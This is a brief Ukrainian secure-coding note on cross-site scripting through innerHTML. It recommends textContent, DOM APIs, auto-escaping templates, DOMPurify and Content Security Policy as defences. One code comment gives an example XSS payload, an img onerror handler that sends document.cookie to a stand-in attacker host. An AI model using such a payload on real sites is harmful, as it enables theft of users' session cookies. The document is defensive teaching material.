innerHTML розбирає рядок як HTML. Якщо в рядку є дані від користувача, нападник може вставити розмітку, що виконає його JavaScript - це XSS.
comment.innerHTML = `<p>${userInput}</p>`;
// userInput = '<img src=x onerror="fetch(`https://evil.example/?c=${document.cookie}`)">'
Тег <script>, вставлений через innerHTML, не виконується, але обробники-атрибути (onerror, onload) - виконуються, тож цього захисту недостатньо.
Безпечні альтернативи:
textContent- для тексту. Усе виводиться як текст, без розбору HTML:
paragraph.textContent = userInput;
- Створення елементів через DOM API:
const link = document.createElement('a');
link.href = url; // але перевірте схему: javascript:-посилання теж XSS
link.textContent = title;
list.append(link);
- Шаблони фреймворків (Vue
{{ }}, JSX, Blade{{ }}) екранують дані автоматично. Небезпечні їхні «сирі» варіанти:v-html,dangerouslySetInnerHTML,{!! !!}. - Якщо HTML від користувача справді потрібен (редактор форматованого тексту) - лише після санітайзера на зразок DOMPurify, з білим списком тегів і атрибутів.
Додатковий рівень захисту - Content Security Policy, яка забороняє інлайнові скрипти й обробники. Вона не замінює екранування, але ускладнює експлуатацію пропущеної вразливості.
innerHTML також повільніший і знищує обробники подій та стан елементів, які перезаписує.